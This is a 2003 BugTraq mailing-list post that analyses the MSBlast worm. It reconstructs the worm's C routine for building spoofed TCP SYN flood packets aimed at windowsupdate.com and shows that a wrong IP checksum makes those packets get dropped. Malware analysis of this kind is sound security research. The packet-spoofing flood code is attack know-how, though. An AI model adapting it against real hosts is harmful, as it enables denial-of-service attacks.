BugTraq
startling new discovery in the msblast analysis Aug 16 2003 12:53AM
Rolles, Rolf (rolf rolles ncf edu)
First, this blurb from the IP header RFC:

Header Checksum: 16 bits

A checksum on the header only. Since some header fields change

(e.g., time to live), this is recomputed and verified at each point

that the internet header is processed.

Now, check the fixed (as in, my recode was faulty) packet generator function:

void build_and_send_packets(unsigned long msipaddr, socket s)

{

/* many thanks to "a whited sepulchre" for his insight. many of the comments

are taken verbatim from an email he sent me. */

char buf1[0xc];

char buf[0x64];

sockaddr to;

char name[0x10];

memset(&buf,0,60);

srand(GetTickCount());

sprintf(&name, "%i.%i.%i.%i", class_a, class_b, rand()%255, rand()%255);

GetIPAddy(&name);

to.sa_family=2;

to.sa_data=(unsigned int)htons(0x50);

memcpy(&to.sa_data+2,&msipaddr,4); // IPheader fields below

buf[0x50]=(unsigned int)0x45; // version=4, ihl=5, tos=0;

buf[0x52]=(unsigned int)htons(0x28); // length=40;

buf[0x54]=(unsigned int)1; // id = 1

buf[0x56]=(unsigned int)0; // flags=0, fragment offset=0

buf[0x58]=(unsigned short)0x80; // ttl = 128

buf[0x59]=(unsigned short)6; // proto = 6 (TCP)

buf[0x5a]=(unsigned int)0; // checksum = 0 (computed later)

buf[0x60]=(unsigned long)msipaddr; // src = windowsupdate.com

buf[0x3c]=(unsigned int)htons((rand() % 1000)+1000); // tcp: sport=random;

buf[0x3e]=(unsigned int)htons(0x50); // TCP header: dport=80;

var_9c=rand();

var_9c<<16;

var_9c |= rand();

var_9c &= (unsigned long)0x0000FFFF;

buf[0x40]=(unsigned long)htons(var_9c); // seqno = random 16-bits

buf[0x44]=(unsigned long)0; // ackno=0;

buf[0x48]=(unsigned short)0x50; // data offset = 5;

buf[0x49]=(unsigned short)2; // SYN == true

buf[0x4a]=(unsigned int)htons(0x4000); // window == 400

buf[0x4c]=(unsigned int)0; // csum=0 (computer later)

buf[0x4e]=(unsigned int)0; // uptr = 0;

buf[0x5c]=(unsigned long)msipaddr; // data is merely the IP address

buf1[0]=(unsigned long)msipaddr; // source addr

buf1[4]=(unsigned long)msipaddr; // dest addr

buf1[8]=(unsigned short)0; // zero

buf1[9]=(unsigned short)0; // protocol=0

buf1[10]=(unsigned int)htons(0x14); // length = 20

memcpy(&buf, &buf1, 0xc); // copy pseudo header

memcpy(&buf[0xc], &buf[0x3c], 0x14); // FIXED

buf[0x4c]=(unsigned int)checksum(&buf, 0x20); // compute checksum over pseudoheader and tcp header

memcpy(&buf, &buf[0x50], 0x14); // copy IP header w/o checksum

memcpy(&buf[0x14], &buf[0x3c], 0x14); // copy TCP header w/checksum

memset(&buf[0x28], (unsigned int) 0, 4); // copy null value never referenced

/* the ASM corresponding to the next line

push 28h

lea eax, [ebp+buf]

push eax

call compute_checksum */

buf[0x5a]=(unsigned int)checksum(&buf, 0x28);

// this is wrong (in practice). according to the RFC, the IP checksum should ONLY be computed

// over the IP header and no part of the payload. however, in referencing the

// assembly, this C code is accurate. therefore, this worm sends bogus packets that will

// be dropped at the gateway.

// the correct code would be :

// buf[0x5a]=(unsigned int)checksum(&buf, 0x14);

memcpy(&buf, &buf[0x50], 0x14); // copy IP header with bogus checksum to start of packet

sendto(s, &buf, 0x28, NULL, &to, 0x10); // send it off to be dropped

}

!!!!

Rolf Rolles

PS check http://studentweb.ncf.edu/rolf.rolles/ in a few hours for updates to the (living) msblast analysis.

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus